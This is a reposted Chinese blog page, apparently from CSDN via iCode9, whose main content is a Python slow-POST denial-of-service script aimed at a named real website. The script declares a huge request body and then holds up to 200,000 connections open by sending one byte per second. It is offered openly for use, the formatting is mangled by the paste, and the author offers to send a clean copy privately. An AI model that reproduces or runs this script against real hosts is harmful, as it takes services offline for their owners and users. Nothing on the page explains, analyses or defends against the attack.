ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

DDOS的代码接上一篇文章

2021-07-06 13:58:38  阅读:211  来源: 互联网

标签:一篇 thread 接上 send DDOS socks conn socket


本文章为上一篇文章的续集有兴趣可以看我主页中的《什么是DDOS和DDOS的简单原理
(小学生写的文章) 》

下面的DDOS代码为python
下面代码由于cson粘贴有bug所以说看起来比较乱需要的可以找我,我可以私信发给你

import socket
import timeimport threadingMAX_CONN = 200000 # 最大连接数PORT = 80HOST = “www.blmcpia.com” # 目标IP或域名.PAGE = “/page-1.html?mobile=2” # 目标页面buf = (“POST %s HTTP/1.1\r\n” “Host: %s\r\n” “Content-Length: 10000000\r\n” # 实体数据大小 “Cookie: dklkt_dos_test\r\n” “\r\n” % (PAGE, HOST))socks = []def conn_thread(): global socks for i in range(0, MAX_CONN): # MAX_CONN允许最大连接数 # AF_INET 表示 IPv4 地址,创建 TCP套接字,必须使用 SOCK_STREAM 作为套接字类型 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((HOST, PORT)) s.send(buf.encode()) print("[+] 成功发送buf!,conn=%d\n" % i) socks.append(s) except Exception as ex: print("[-] 无法连接服务器或发送错误:%s" % ex) time.sleep(1) # 暂停1秒def send_thread(): global socks while True: for s in socks: try: s.send(“f”.encode()) except Exception as ex: print("[-] 发送异常:%s\n" % ex) socks.remove(s) s.close() time.sleep(1)# 建立多线程conn_th = threading.Thread(target=conn_thread, args=())send_th = threading.Thread(target=send_thread, args=())# 开启线程conn_th.start()send_th.start()conn_th2 = threading.Thread(target=conn_thread, args=())send_th2 = threading.Thread(target=send_thread, args=())conn_th2.start()send_th2.start()

标签:一篇,thread,接上,send,DDOS,socks,conn,socket
来源: https://blog.csdn.net/m0_55410737/article/details/118518686

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有